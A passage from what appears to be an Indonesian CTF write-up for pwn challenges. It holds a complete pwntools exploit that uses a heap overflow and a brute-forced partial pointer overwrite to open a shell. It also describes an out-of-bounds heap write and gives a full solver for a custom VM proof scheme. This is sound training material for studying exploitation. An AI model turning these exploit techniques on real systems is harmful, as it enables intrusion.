2 byte rendah pointer callback: 

?? ?? ?? ?? ?? ?? 19 90  ->  ?? ?? ?? ?? ?? ?? 1b 70 

Byte pertama target pasti `0x70`. Byte kedua target secara konsep adalah `0x1b`, tetapi karena 

PIE base di-randomize per page, nibble atas byte kedua bisa berubah. Kandidatnya: 

candidates = [ 

    0x1b, 0x2b, 0x3b, 0x4b, 

    0x5b, 0x6b, 0x7b, 0x8b, 

    0x9b, 0xab, 0xbb, 0xcb, 

    0xdb, 0xeb, 0xfb, 0x0b, 

] 

Jadi eksploit melakukan brute-force 16 kemungkinan byte kedua. Kalau tebakan salah, proses 

crash atau koneksi tertutup. Kalau benar, callback berubah ke fungsi shell. 

Langkah eksploit: 

1. Buat note index `0` dengan ukuran `0x500`. 

2. Pangkas note index `0` menjadi `0x50`. 

3. Karena bug, note masih boleh diedit sampai `0x500`. 

4. Setelah pangkas, service desk baru dialokasikan setelah buffer note. 

5. Edit note dengan payload: "A" * 0x80 + p16(0x?b70) 

6. Panggil menu `Hubungi service desk`. 

7. Program mengambil callback dari `service_desk + 0x20`. 
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8. Callback sudah berubah menjadi fungsi shell di offset `0x1b70`. 

9. Shell terbuka, lalu jalankan `cat flag.txt`. 

Untuk implementasinya adalah script berikut 

#!/usr/bin/env python3 

from pwn import * 

 

BIN = "./chall" 

LD = "./ld-linux-x86-64.so.2" 

 

VULN_NOTE = 0 

ORIGINAL_SIZE = 0x500 

SHRUNK_SIZE = 0x50 

CALLBACK_OFF = 0x80 

WIN_LOW_BYTE = 0x70 

WIN_SECOND_BYTE_BASE = 0x1B 

MAX_ATTEMPTS = int(args.ATTEMPTS or 128) 

 

context.arch = "amd64" 

context.log_level = "debug" if args.DEBUG else "info" 

 

def start(): 

    if args.REMOTE: 

        host = args.HOST or "127.0.0.1" 

        port = int(args.PORT or 1337) 

        return remote(host, port) 

    return process([LD, "--library-path", ".", BIN]) 

 

def menu(io, choice): 

    io.sendlineafter(b"> ", str(choice).encode()) 

 

def create(io, idx, size, data=b""): 

    menu(io, 1) 

    io.sendlineafter(b"Index (0-7): ", str(idx).encode()) 

    io.sendlineafter(b"Ukuran catatan (64-1280): ", str(size).encode()) 

    io.sendlineafter(b"Panjang isi awal: ", str(len(data)).encode()) 

    if data: 

        io.sendafter(b"Masukkan isi awal:\n", data) 

 

def shrink(io, idx, new_size): 
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    menu(io, 2) 

    io.sendlineafter(b"Index: ", str(idx).encode()) 

    io.sendlineafter(b"Ukuran baru (lebih kecil): ", str(new_size).encode()) 

 

def edit(io, idx, data): 

    menu(io, 3) 

    io.sendlineafter(b"Index: ", str(idx).encode()) 

    io.sendlineafter(b"Panjang data edit: ", str(len(data)).encode()) 

    io.sendafter(b"Masukkan data edit:\n", data) 

 

def call_service(io, msg=b""): 

    menu(io, 6) 

    io.sendlineafter(b"Panjang pesan service (max 95): ", str(len(msg)).encode()) 

    if msg: 

        io.sendafter(b"Isi pesan:\n", msg) 

 

def attempt(second_byte): 

    io = start() 

    try: 

        create(io, VULN_NOTE, ORIGINAL_SIZE) 

        shrink(io, VULN_NOTE, SHRUNK_SIZE) 

        # Shrinking to 0x50 places a freshly allocated service desk after the 

        # note buffer. Its callback is at note_buffer + 0x80. 

        payload = flat( 

            b"A" * CALLBACK_OFF, 

            bytes([WIN_LOW_BYTE, second_byte]), 

        ) 

        edit(io, VULN_NOTE, payload) 

        call_service(io) 

 

        marker = b"GCWUG_PWNED" 

        io.sendline(b"echo " + marker) 

        out = io.recv(timeout=0.8) or b"" 

        if marker in out or b"root dibuka" in out: 

            log.success(f"shell reached with second byte 0x{second_byte:02x}") 

            if out: 

                print(out.decode("latin-1", errors="replace"), end="") 

            return io 

    except EOFError: 

        pass 
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    io.close() 

    return None 

 

def main(): 

    candidates = [((WIN_SECOND_BYTE_BASE + (0x10 * i)) & 0xFF) for i in range(16)] 

 

    for attempt_no in range(MAX_ATTEMPTS): 

        second_byte = candidates[attempt_no % len(candidates)] 

        log.info(f"attempt {attempt_no + 1}/{MAX_ATTEMPTS}: second byte 

0x{second_byte:02x}") 

        io = attempt(second_byte) 

        if io is not None: 

            if args.CMD: 

                io.sendline(args.CMD.encode()) 

                io.sendline(b"exit") 

                print((io.recvall(timeout=2) or b"").decode("latin-1", 

errors="replace"), end="") 

            else: 

                io.interactive() 

            return 

 

    log.failure("exploit did not land; increase ATTEMPTS or check the remote 

service model") 

 

if __name__ == "__main__": 

    main() 

FLAG: GCW{H4P_H4P_L4LUUUUUU_D1T4NGK4P_S4G1R1}  
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Grow2GCW (100 Points) 
 

ez start lol me no scam xd plz dont hit firstblood on meh 
 
nc ctf.gcwug.com 2031 
 
Author: lyocs 

Recon file: 

 

Semua protection aktif. Namun, solusi challenge tidak memerlukan return address overwrite, 

ROP, shellcode, atau GOT overwrite. Primitive yang tersedia adalah indexed heap write, dan 

targetnya adalah field data internal. 

Beberapa string yang langsung memberi petunjuk: 

Heart Shrine] 

spell> 

[Heap Nursery] 

The heap is all yours, but the nursery only accepts two pokes. 

Index: 

Value: 

The heap totem clicks. 

 

stage %u nonce %016llx fmt %u%u%u%u mask %02x rot %u bytes %llu 

proof> 

 

./libgrowcheck.so 

gcw_compare_u64 

gcw_reveal 
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Program membaca sebuah "spell", memberi dua kali operasi write ke heap, lalu masuk ke 

sistem proof dinamis jika sebuah kondisi tersembunyi terpenuhi. `libgrowcheck.so` dibuka 

menggunakan `dlopen()`. Dua symbol yang diambil adalah: 

gcw_compare_u64 

gcw_reveal 

Library tersebut tersedia pada server, tetapi tidak diberikan kepada peserta. Hal ini tidak 

menjadi masalah karena expected proof dihitung di binary utama. 

Pada offset `0x1435`, program melakukan: 

1435: mov esi, 0x1 

143a: mov edi, 0x90 

1450: call calloc@plt 

1455: mov r13, rax 

Ini ekuivalen dengan: 

uint64_t *nursery = calloc(0x90, 1); 

Ukuran objek hanya `0x90` byte. Program kemudian menyimpan nilai acak yang sudah melalui 

fungsi mixing pada offset `0x80`: 

14c7: mov QWORD PTR [r13+0x80], rax 

Program menerima index dengan format `%llu`, lalu hanya memastikan: 

14f0: cmp QWORD PTR [rsp], 0x3ffff 

14f8: jbe 0x1575 

Jadi index yang diterima berada pada rentang: 0 <= index <= 0x3ffff. Tidak ada validasi 

terhadap ukuran alokasi `0x90`. Write dilakukan dengan: 

1595: mov rsi, QWORD PTR [rsp]       ; index 

1599: mov rdx, QWORD PTR [rsp+0x8]   ; value 

15ab: mov QWORD PTR [r13+rsi*8], rdx 
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Ini adalah OOB heap write 64-bit dengan index yang sangat besar. Program hanya memberi dua 

kali write, tetapi satu write sudah cukup untuk mencapai field `totem`. 

Setelah dua write selesai, program memeriksa: 

153e: movabs rdx, 0x67726f77544f4743 

1548: cmp QWORD PTR [r13+0x80], rdx 

154f: je 0x160d 

Kondisi gate: 

if (nursery->totem == 0x67726f77544f4743) { 

    run_seed_lock(); 

} 

Karena `totem` berada pada offset `0x80` dan indexed write memakai skala 8: 

index = 0x80 / 8 

index = 16 

Payload write pertama: 

Index: 16 

Value: 7454142891557865283 

Nilai desimal tersebut adalah: 

>>> hex(7454142891557865283) 

'0x67726f77544f4743' 

Write kedua dapat diarahkan ke index normal. Solver menggunakan: 

Index: 0 

Value: 0 
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Karena heap berasal dari `calloc()`, nilai tersebut tidak mengubah isi awal, tetapi tetap 

memenuhi kewajiban program untuk menerima dua write. Primitive eksploitasi selesai pada 

tahap ini. Output berikut membuktikan gate berhasil dibuka: The heap totem clicks. 

Setelah gate terbuka, program menjalankan delapan stage. Contoh header stage: 

stage 0 nonce 6e2bab60d778c8e5 fmt 0213 mask f2 rot 3 bytes 3448 

<hex trace yang sangat panjang> 

proof> 

Header memberikan semua informasi yang diperlukan untuk membalik encoding 

trace: 

stage : nomor stage, dari 0 sampai 7 

nonce : nonce 64-bit untuk stage tersebut 

fmt   : permutasi posisi empat byte 

mask  : rolling XOR mask awal 

rot   : jumlah rotasi setiap byte 

bytes : panjang trace setelah decode hex 

Trace terlihat seperti noise acak, tetapi sebenarnya merupakan kumpulan record VM 

berukuran empat byte. 

Hampir seluruh derivasi state menggunakan fungsi mixing yang sama: 

uint64_t mix64(uint64_t x) { 

    x ^= x >> 30; 

    x *= 0xbf58476d1ce4e5b9; 

    x ^= x >> 27; 

    x *= 0x94d049bb133111eb; 

    x ^= x >> 31; 
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    return x; 

} 

Konstanta dan shift ini terlihat berulang kali pada disassembly, misalnya pada offset `0x1810`, 

`0x1821`, `0x1828`, `0x1839`, dan `0x1840`. Seluruh operasi harus dibatasi pada 64-bit. Tanpa 

`& 0xffffffffffffffff`, integer Python akan tumbuh tanpa overflow dan hasilnya berbeda dari 

binary. 

Dari akses field pada fungsi di sekitar `0x17a0`, struktur VM dapat direkonstruksi menjadi: 

struct vm { 

    uint64_t state[8]; // +0x00 sampai +0x3f 

    uint64_t key;      // +0x40 

    uint8_t perm[16];  // +0x48 sampai +0x57 

    uint64_t counter;  // +0x58 

}; 

Permutation awal ditemukan pada `.rodata` offset `0x33a0`: 

PERM_INIT = [ 

    7, 2, 12, 5, 

    0, 14, 9, 3, 

    11, 6, 1, 15, 

    4, 10, 8, 13, 

] 

VM menggunakan: 

- delapan register state 64-bit; 

- key 64-bit yang berubah setelah setiap operasi; 

- permutation table 16 elemen yang ikut berubah; 

- counter atau index record. 

Presented by @hackitbraw_ub 



84 

Ketika nonce pertama diterima, base state dibuat menggunakan: 

GOLDEN = 0x9E3779B97F4A7C15 

STATE_CONST = 0xE58BBD10DE8DBE58 

KEY_CONST = 0xC9FCD1F1EDC3C1C2 

SALT_INIT = 0x475443575F434243 

 

state[i] = mix64(STATE_CONST + nonce + i * GOLDEN) 

previous_key = mix64(KEY_CONST ^ nonce) 

salt = SALT_INIT 

Semua penjumlahan dilakukan modulo `2^64`. 

Sebelum mereplay trace, key stage diturunkan dengan: 

STAGE_CONST = 0x534543544F523000 

 

key_input = STAGE_CONST + stage 

key_input ^= previous_key ^ nonce 

key_input ^= rol64(salt, stage + 3) 

key = mix64(key_input) 

Setiap state word ditransformasikan: 

for i in range(8): 

    value = state[i] + nonce + i 

    value += rol64(salt, stage + 9 * i) 

    stage_state[i] = mix64(value) 

Permutation table kemudian diacak berdasarkan byte-byte key: 

perm = base_perm.copy() 
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for i in range(16): 

    swap = (key >> (8 * (i & 7))) & 0xf 

    perm[i], perm[swap] = perm[swap], perm[i] 

Counter stage dimulai dari nol. Setelah decode, trace dibagi menjadi record empat byte: 

[encoded_operation, p2, p3, p4] 

Byte pertama tidak langsung menjadi opcode. Hanya low nibble yang digunakan sebagai index 

ke permutation table. Untuk setiap raw record: 

raw[0], raw[1], raw[2], raw[3] 

Binary mencetak empat byte dengan urutan `fmt`. Secara konsep: 

for source_index in fmt: 

    value = raw[source_index] 

    value ^= stream_mask 

    stream_mask = (stream_mask + 0x3d) & 0xff 

    value = rol8(value, rotation) 

    print(f"{value:02x}", end="") 

Mask tidak direset per record. Mask terus bertambah `0x3d` untuk setiap byte sepanjang 

seluruh trace. Operasi inverse: 

def decode_records(encoded, fmt, mask, rotation): 

    records = [] 

    stream_mask = mask 

 

    for offset in range(0, len(encoded), 4): 

        raw = [0] * 4 

 

        for output_index, source_index in enumerate(fmt): 

            value = ror8(encoded[offset + output_index], rotation) 
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            raw[source_index] = value ^ stream_mask 

            stream_mask = (stream_mask + 0x3d) & 0xff 

 

        records.append(tuple(raw)) 

 

    return records 

Urutan inverse harus tepat: 

1. rotate right; 

2. XOR dengan mask saat ini; 

3. letakkan byte ke posisi yang ditunjuk `fmt`; 

4. tambah mask dengan `0x3d`. 

Kesalahan umum di bagian ini adalah menganggap mask direset setiap empat byte. Jika itu 

dilakukan, record pertama mungkin terlihat benar, tetapi seluruh record berikutnya rusak. 

Untuk record pada index `i`, opcode asli dihitung dengan: 

encoded_operation, p2, p3, p4 = record 

 

key_nibble = (key >> ((i & 7) * 8)) & 0xf 

operation = perm[encoded_operation & 0xf] ^ key_nibble 

Jadi opcode dipengaruhi oleh: 

 

- low nibble byte pertama; 

- permutation table saat itu; 

- satu nibble dari key; 

- posisi record. 
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Karena key dan permutation berubah setelah setiap operasi, seluruh trace harus direplay 

secara berurutan. Tidak mungkin menghitung setiap record secara independen. 

Sebelum menjalankan salah satu dari 16 opcode, binary menghitung token: 

target = p2 & 7 

other = p3 & 7 

current = state[target] 

 

token = key 

token ^= (p2 & 0xff) << 8 

token ^= p3 & 0xff 

token ^= (p4 & 0xff) << 32 

token = mix64(token) 

Binary kemudian melakukan perkalian byte pada `GF(2^8)` dengan polynomial reduksi `0x1b`, 

sama seperti pola yang umum pada AES: 

gf_a = (current ^ token) & 0xff 

gf_b = (other + p4 + 1) & 0xff 

gf_result = 0 

 

for _ in range(8): 

    if gf_b & 1: 

        gf_result ^= gf_a 

 

    gf_b >>= 1 

    gf_a = ((gf_a << 1) ^ (0x1b if gf_a & 0x80 else 0)) & 0xff 

Hasil satu byte disebarkan ke seluruh byte pada word 64-bit: 

spread = gf_result * 0x0101010101010101 
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value = mix64(spread) ^ token 

`value` inilah yang dipakai oleh implementasi setiap opcode. 

## Daftar 16 Opcode 

Definisi: 

t = p2 & 7 

o = p3 & 7 

c = state[t] 

v = value hasil perhitungan sebelumnya 

Semua operasi aritmetika dilakukan modulo `2^64`. 

| 0 | `state[t] = v + c + state[o]` | 

| 1 | `state[t] = c ^ state[o] ^ v` | 

| 2 | `state[t] = rol64(v + c, o ^ p4)` | 

| 3 | `state[t] = (v \| 1) * c` | 

| 4 | `state[t] = c - (v ^ state[o])` | 

| 5 | `state[t] = ror64(v ^ c, p4 + t + o)` | 

| 6 | `state[t] = mix64(c + state[o] + v)` | 

| 7 | `state[t] = c ^ v`, jika dijalankan sebagai opcode normal | 

| 8 | `x = rol64(key, p4) ^ c`; `state[t] = x`; `state[o] += mix64(x ^ v)` | 

| 9 | `x = state[o] ^ v`; `y = rol64(v, t + 1) + c`; `state[t] = x`; `state[o] = y` | 

| 10 | `state[t] = mix64(rol64(state[o], p4) ^ c ^ v)` | 

| 11 | `state[t] = (rol64(state[(t+3)&7], p4&0x1f) ^ v) + c` | 

| 12 | `state[t] = mix64(v + state[(o+5)&7]) ^ c` | 

| 13 | `state[t] = (state[o] & c) ^ ((~c) & v)` | 
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| 14 | `state[t] = (v ^ GOLDEN) + c` | 

| 15 | `state[t] = mix64(v + key + c)` | 

Operation 9 merupakan salah satu bagian yang mudah salah saat menerjemahkan assembly. 

Nilai `state[o]` tidak ditambahkan ke `c` sebelum menghitung `y`. Versi yang menambahkan 

keduanya menghasilkan state yang terlihat masuk akal, tetapi divergen setelah opcode 9 

pertama. Setelah opcode normal dijalankan, VM mengubah permutation dan key. 

swap_a = ((p3 * 2) ^ p2 ^ (key >> 17)) & 0xf 

swap_b = (p4 ^ operation ^ key) & 0xf 

 

perm[swap_a], perm[swap_b] = perm[swap_b], perm[swap_a] 

Key baru: 

new_key = key 

new_key ^= state[p2 & 7] 

new_key ^= counter 

new_key ^= rol64(state[p3 & 7], operation + 1) 

new_key = mix64(new_key) 

Detail penting: 

- `swap_b` memakai `operation`, bukan `p2`; 

- jumlah rotasi adalah `operation + 1`, bukan `p4 + 1`; 

- state yang dipakai adalah state setelah opcode selesai; 

- counter yang dipakai adalah index sebelum maju ke record berikutnya. 

Dua detail pertama ditemukan dengan membandingkan state Python terhadap state binary 

pada setiap record menggunakan GDB. Trace mengandung banyak record filler. Record 

tersebut tidak semuanya dijalankan satu per satu. Pada jalur trace yang dihasilkan challenge, 

opcode 7 dipakai sebagai control record untuk melewati sejumlah record berikutnya. Untuk 

control record: 
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old_key = key 

old_state = state[p2 & 7] 

 

mutate(operation=7, p2, p3, p4) 

 

jump = ((old_key >> 11) ^ old_state ^ p4) & 0x1f 

index += jump + 1 

Perbedaannya dari opcode normal: 

- fungsi `execute()` tidak dipanggil; 

- key dan permutation tetap dimutasi; 

- index maju antara 1 sampai 32 record. 

Untuk opcode biasa: 

index += 1 

execute(operation, p2, p3, p4) 

mutate(operation, p2, p3, p4) 

Tanpa implementasi skip ini, solver akan memproses filler sebagai instruksi asli dan state 

langsung rusak. Pseudocode replay lengkap: 

index = 0 

 

while index < len(records): 

    encoded_operation, p2, p3, p4 = records[index] 

 

    key_nibble = (key >> ((index & 7) * 8)) & 0xf 

    operation = perm[encoded_operation & 0xf] ^ key_nibble 
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    if operation == 7: 

        old_key = key 

        old_state = state[p2 & 7] 

 

        mutate(operation, p2, p3, p4) 

 

        jump = ((old_key >> 11) ^ old_state ^ p4) & 0x1f 

        index += jump + 1 

    else: 

        index += 1 

        execute(operation, p2, p3, p4) 

        mutate(operation, p2, p3, p4) 

 

    counter = index 

Setelah trace selesai, proof dihitung dari final key dan delapan state word: 

proof = key 

 

for i in range(8): 

    proof ^= rol64(state[i], 3 + 7 * i) 

 

proof = mix64(proof) 

Input proof harus berupa tepat 16 karakter hexadecimal: 

io.sendline(f"{proof:016x}".encode()) 
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Binary mengubah string hex menjadi integer 64-bit, memastikan formatnya valid, lalu 

membandingkannya dengan expected proof. Jika salah: Guardian Pineapple rejects the seed 

lock. 

Jika benar, program melanjutkan ke stage berikutnya. Final VM dari stage saat ini menjadi base 

state dan base permutation untuk stage berikutnya. 

base = vm.clone() 

previous_key = base.key 

Salt diperbarui: 

salt = mix64((stage << 56) ^ salt ^ proof) 

Nonce berikutnya: 

next_nonce = mix64(nonce + GOLDEN + proof) 

Solver juga menghitung `next_nonce` secara lokal dan membandingkannya dengan nonce yang 

diumumkan server. Ini merupakan sanity check bahwa seluruh replay stage sebelumnya benar: 

if predicted_nonce != received_nonce: 

    raise ValueError("nonce transition mismatch") 

Ada detail penting pada transisi state. Binary sementara menulis `0x03020100` ke sebuah 

buffer ketika membangun permutation output. Awalnya nilai ini terlihat seperti overwrite 

terhadap `state[0]`. Pengujian stage 1 menunjukkan bahwa state VM sudah disalin ke snapshot 

lain sebelum overwrite sementara tersebut. Karena itu, `state[0]` final tidak boleh diganti 

dengan `0x03020100` ketika dibawa ke stage berikutnya. Karena binary mencoba membuka 

`./libgrowcheck.so`, local execution berhenti jika library tidak ada. Untuk analisis lokal, dibuat 

library stub sementara yang hanya menyediakan: 

int gcw_compare_u64(unsigned int stage, 

                    uint64_t provided, 

                    uint64_t expected); 

 

int gcw_reveal(char *output, size_t size); 
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Stub ini hanya digunakan agar binary dapat mencapai seed-lock ketika dijalankan di GDB. Flag 

tetap diperoleh dari service remote melalui exploit, bukan dari stub atau file lokal. Tahapan 

validasi yang dilakukan: 

1. Breakpoint setelah inisialisasi stage. 

2. Dump `state[8]`, `key`, `perm[16]`, dan `counter`. 

3. Bandingkan dengan hasil Python. 

4. Breakpoint setelah setiap record replay. 

5. Cari record pertama tempat key atau state divergen. 

Inisialisasi Python akhirnya cocok byte-for-byte dengan binary. Divergensi pertama kemudian 

menemukan beberapa kesalahan translasi: 

mutate(): rotasi harus operation + 1 

mutate(): swap_b memakai operation 

opcode 9: tidak ada pre-add state[o] ke current 

Setelah diperbaiki, key dan seluruh delapan state word cocok pada setiap record dalam satu 

trace penuh. 

 

## False Starts yang Relevan 

 

### Mengirim Nonce sebagai Proof 

 

Pada awal analisis, call ke checker eksternal terlihat seolah-olah menerima expected value 

yang sama pada beberapa register. Hipotesis pertama adalah nonce mungkin dapat langsung 

dikirim sebagai proof. Server menolak: Guardian Pineapple rejects the seed lock. Pemeriksaan 

lebih teliti menunjukkan binary sudah membandingkan hasil parse proof terhadap nilai 

internal sebelum checker eksternal dianggap sukses. 
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Alur Exploit Final 

1. Connect ke `ctf.gcwug.com:2031`. 

2. Kirim string bebas pada prompt `spell>`. 

3. Write index `16` dengan `0x67726f77544f4743`. 

4. Gunakan write kedua pada index `0` dengan nilai `0`. 

5. Parse header stage dan trace hexadecimal. 

6. Decode trace menggunakan `fmt`, `mask`, dan `rot`. 

7. Inisialisasi atau turunkan state VM untuk stage saat ini. 

8. Replay record, termasuk control record opcode 7. 

9. Hitung proof dari final key dan state. 

10. Kirim proof sebagai 16 digit hex. 

11. Update base state, key, salt, dan predicted nonce. 

12. Ulangi sampai delapan stage selesai. 

Bagian awal koneksi dan primitive: 

io = remote("ctf.gcwug.com", 2031) 

 

io.sendlineafter(b"spell> ", b"love") 

 

for index, value in ( 

    (16, 0x67726F77544F4743), 

    (0, 0), 

): 

    io.sendlineafter(b"Index: ", str(index).encode()) 

    io.sendlineafter(b"Value: ", str(value).encode()) 
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Loop stage: 

for expected_stage in range(8): 

    blob = io.recvuntil(b"proof> ") 

    stage, nonce, fmt, mask, rotation, encoded = parse_stage(blob) 

 

    if base is None: 

        base, previous_key, salt = initial_material(nonce) 

 

    vm = prepare_stage(base, previous_key, nonce, salt, stage) 

 

    records = decode_records(encoded, fmt, mask, rotation) 

    vm.replay_trace(records) 

 

    proof = vm.expected_proof() 

    io.sendline(f"{proof:016x}".encode()) 

 

    base = vm.clone() 

    previous_key = base.key 

    salt = mix64((stage << 56) ^ salt ^ proof) 

    predicted_nonce = mix64(nonce + GOLDEN + proof) 

Implementasi lengkap tersedia pada: 

#!/usr/bin/env python3 

import re 

 

from pwn import args, context, log, remote 

 

 

HOST = args.HOST or "ctf.gcwug.com" 
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PORT = int(args.PORT or 2031) 

 

MASK64 = (1 << 64) - 1 

GOLDEN = 0x9E3779B97F4A7C15 

MIX_MUL1 = 0xBF58476D1CE4E5B9 

MIX_MUL2 = 0x94D049BB133111EB 

TOTEM = 0x67726F77544F4743 

STATE_CONST = 0xE58BBD10DE8DBE58 

KEY_CONST = 0xC9FCD1F1EDC3C1C2 

STAGE_CONST = 0x534543544F523000 

SALT_INIT = 0x475443575F434243 

PERM_INIT = [7, 2, 12, 5, 0, 14, 9, 3, 11, 6, 1, 15, 4, 10, 8, 13] 

 

HEADER_RE = re.compile( 

    rb"stage (\d+) nonce ([0-9a-fA-F]{16}) " 

    rb"fmt (\d)(\d)(\d)(\d) mask ([0-9a-fA-F]{2}) " 

    rb"rot (\d+) bytes (\d+)\n" 

) 

 

 

def u64(value): 

    return value & MASK64 

 

 

def rol(value, count, bits=64): 

    count %= bits 

    mask = (1 << bits) - 1 

    value &= mask 

    return ((value << count) | (value >> ((bits - count) % bits))) & mask 

 

 

def ror(value, count, bits=64): 

    return rol(value, -count, bits) 

 

 

def mix64(value): 

    value = u64(value) 

    value ^= value >> 30 

    value = u64(value * MIX_MUL1) 

    value ^= value >> 27 

    value = u64(value * MIX_MUL2) 
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    value ^= value >> 31 

    return u64(value) 

 

 

class VM: 

    def __init__(self, state, key, perm, counter=0): 

        self.state = [u64(value) for value in state] 

        self.key = u64(key) 

        self.perm = list(perm) 

        self.counter = u64(counter) 

 

    def clone(self): 

        return VM(self.state, self.key, self.perm, self.counter) 

 

    def mutate(self, operation, p2, p3, p4): 

        swap_a = ((p3 * 2) ^ p2 ^ (self.key >> 17)) & 0xF 

        swap_b = (p4 ^ operation ^ self.key) & 0xF 

        self.perm[swap_a], self.perm[swap_b] = ( 

            self.perm[swap_b], 

            self.perm[swap_a], 

        ) 

 

        value = self.key 

        value ^= self.state[p2 & 7] 

        value ^= self.counter 

        value ^= rol(self.state[p3 & 7], operation + 1) 

        self.key = mix64(value) 

 

    def execute(self, operation, p2, p3, p4): 

        target = p2 & 7 

        other = p3 & 7 

        current = self.state[target] 

 

        token = self.key 

        token ^= (p2 & 0xFF) << 8 

        token ^= p3 & 0xFF 

        token ^= (p4 & 0xFF) << 32 

        token = mix64(token) 

 

        gf_a = (current ^ token) & 0xFF 

        gf_b = (other + p4 + 1) & 0xFF 
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        gf_result = 0 

        for _ in range(8): 

            if gf_b & 1: 

                gf_result ^= gf_a 

            gf_b >>= 1 

            gf_a = ((gf_a << 1) ^ (0x1B if gf_a & 0x80 else 0)) & 0xFF 

 

        spread = gf_result * 0x0101010101010101 

        value = mix64(spread) ^ token 

 

        if operation == 0: 

            current = u64(current + self.state[other]) 

            self.state[target] = u64(value + current) 

        elif operation == 1: 

            self.state[target] = current ^ self.state[other] ^ value 

        elif operation == 2: 

            self.state[target] = rol(u64(value + current), other ^ p4) 

        elif operation == 3: 

            self.state[target] = u64((value | 1) * current) 

        elif operation == 4: 

            self.state[target] = u64(current - (value ^ self.state[other])) 

        elif operation == 5: 

            self.state[target] = ror(value ^ current, p4 + target + other) 

        elif operation == 6: 

            current = u64(current + self.state[other]) 

            self.state[target] = mix64(current + value) 

        elif operation == 7: 

            self.state[target] = current ^ value 

        elif operation == 8: 

            combined = rol(self.key, p4) ^ current 

            self.state[target] = combined 

            self.state[other] = u64(self.state[other] + mix64(combined ^ value)) 

        elif operation == 9: 

            saved_other = self.state[other] ^ value 

            rotated = u64(rol(value, target + 1) + current) 

            self.state[target] = saved_other 

            self.state[other] = rotated 

        elif operation == 10: 

            combined = rol(self.state[other], p4) ^ current ^ value 

            self.state[target] = mix64(combined) 

        elif operation == 11: 
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            combined = rol(self.state[(target + 3) & 7], p4 & 0x1F) ^ value 

            self.state[target] = u64(combined + current) 

        elif operation == 12: 

            combined = u64(value + self.state[(other + 5) & 7]) 

            self.state[target] = mix64(combined) ^ current 

        elif operation == 13: 

            self.state[target] = ( 

                (self.state[other] & current) ^ ((~current & MASK64) & value) 

            ) 

        elif operation == 14: 

            self.state[target] = u64((value ^ GOLDEN) + current) 

        elif operation == 15: 

            self.state[target] = mix64(value + u64(self.key + current)) 

        else: 

            raise ValueError(f"invalid operation {operation}") 

 

    def replay_trace(self, records): 

        index = self.counter 

        while index < len(records): 

            encoded_operation, p2, p3, p4 = records[index] 

            key_nibble = (self.key >> ((index & 7) * 8)) & 0xF 

            operation = self.perm[encoded_operation & 0xF] ^ key_nibble 

 

            if operation == 7: 

                old_key = self.key 

                old_state = self.state[p2 & 7] 

                self.mutate(operation, p2, p3, p4) 

                jump = ((old_key >> 11) ^ old_state ^ p4) & 0x1F 

                index += jump + 1 

            else: 

                index += 1 

                self.execute(operation, p2, p3, p4) 

                self.mutate(operation, p2, p3, p4) 

 

            self.counter = index 

 

    def expected_proof(self): 

        value = self.key 

        for index, state_word in enumerate(self.state): 

            value ^= rol(state_word, 3 + 7 * index) 

        return mix64(value) 
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def initial_material(nonce): 

    state = [mix64(STATE_CONST + nonce + index * GOLDEN) for index in range(8)] 

    previous_key = mix64(KEY_CONST ^ nonce) 

    return VM(state, 0, PERM_INIT), previous_key, SALT_INIT 

 

 

def prepare_stage(base, previous_key, nonce, salt, stage): 

    key_input = STAGE_CONST + stage 

    key_input ^= previous_key ^ nonce 

    key_input ^= rol(salt, stage + 3) 

    key = mix64(key_input) 

 

    state = [] 

    for index, old_value in enumerate(base.state): 

        value = u64(old_value + nonce + index) 

        value = u64(value + rol(salt, stage + 9 * index)) 

        state.append(mix64(value)) 

 

    perm = list(base.perm) 

    for index in range(16): 

        swap = (key >> (8 * (index & 7))) & 0xF 

        perm[index], perm[swap] = perm[swap], perm[index] 

 

    return VM(state, key, perm) 

 

 

def decode_records(encoded, fmt, mask, rotation): 

    if len(encoded) % 4: 

        raise ValueError("trace length is not divisible by four") 

 

    records = [] 

    stream_mask = mask 

    for offset in range(0, len(encoded), 4): 

        packed = [0] * 4 

        for output_index, source_index in enumerate(fmt): 

            value = ror(encoded[offset + output_index], rotation, bits=8) 

            packed[source_index] = value ^ stream_mask 

            stream_mask = (stream_mask + 0x3D) & 0xFF 

        records.append(tuple(packed)) 
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    return records 

 

 

def parse_stage(blob): 

    match = HEADER_RE.search(blob) 

    if match is None: 

        raise ValueError("stage header was not found") 

 

    stage = int(match.group(1)) 

    nonce = int(match.group(2), 16) 

    fmt = tuple(int(match.group(index)) for index in range(3, 7)) 

    mask = int(match.group(7), 16) 

    rotation = int(match.group(8)) 

    byte_count = int(match.group(9)) 

 

    trace_hex = blob[match.end() :].split(b"\n", 1)[0] 

    encoded = bytes.fromhex(trace_hex.decode()) 

    if len(encoded) != byte_count: 

        raise ValueError(f"expected {byte_count} trace bytes, received 

{len(encoded)}") 

 

    return stage, nonce, fmt, mask, rotation, encoded 

 

 

def main(): 

    context.log_level = args.LOG_LEVEL or "info" 

    io = remote(HOST, PORT) 

 

    io.sendlineafter(b"spell> ", b"love") 

    for index, value in ((16, TOTEM), (0, 0)): 

        io.sendlineafter(b"Index: ", str(index).encode()) 

        io.sendlineafter(b"Value: ", str(value).encode()) 

 

    base = None 

    previous_key = None 

    salt = None 

    predicted_nonce = None 

 

    for expected_stage in range(8): 

        blob = io.recvuntil(b"proof> ") 

        stage, nonce, fmt, mask, rotation, encoded = parse_stage(blob) 
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        if stage != expected_stage: 

            raise ValueError(f"expected stage {expected_stage}, received {stage}") 

        if predicted_nonce is not None and nonce != predicted_nonce: 

            raise ValueError( 

                f"nonce transition mismatch: predicted {predicted_nonce:016x}, " 

                f"received {nonce:016x}" 

            ) 

 

        if base is None: 

            base, previous_key, salt = initial_material(nonce) 

 

        vm = prepare_stage(base, previous_key, nonce, salt, stage) 

        records = decode_records(encoded, fmt, mask, rotation) 

        vm.replay_trace(records) 

 

        proof = vm.expected_proof() 

        log.info( 

            "stage %d: nonce=%016x records=%d proof=%016x", 

            stage, 

            nonce, 

            len(records), 

            proof, 

        ) 

        io.sendline(f"{proof:016x}".encode()) 

 

        base = vm.clone() 

        previous_key = base.key 

        salt = mix64((stage << 56) ^ salt ^ proof) 

        predicted_nonce = mix64(nonce + GOLDEN + proof) 

 

    print(io.recvall(timeout=10).decode(errors="replace")) 

 

 

if __name__ == "__main__": 

    main() 

FLAG: GCW{tUm5uh_l3b1h_b4IK_C4RI_GCW_MU} 
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OWAJIJI (100 Points) 
 

OWAJIJIIII 😭💥OWAJIJIIII 😭💥OWAJIJIIII 😭💥OWAJIJIIII 😭💥 
 
nc ctf.gcwug.com 3007 
 
Author: lyocs 

Recon file 

 

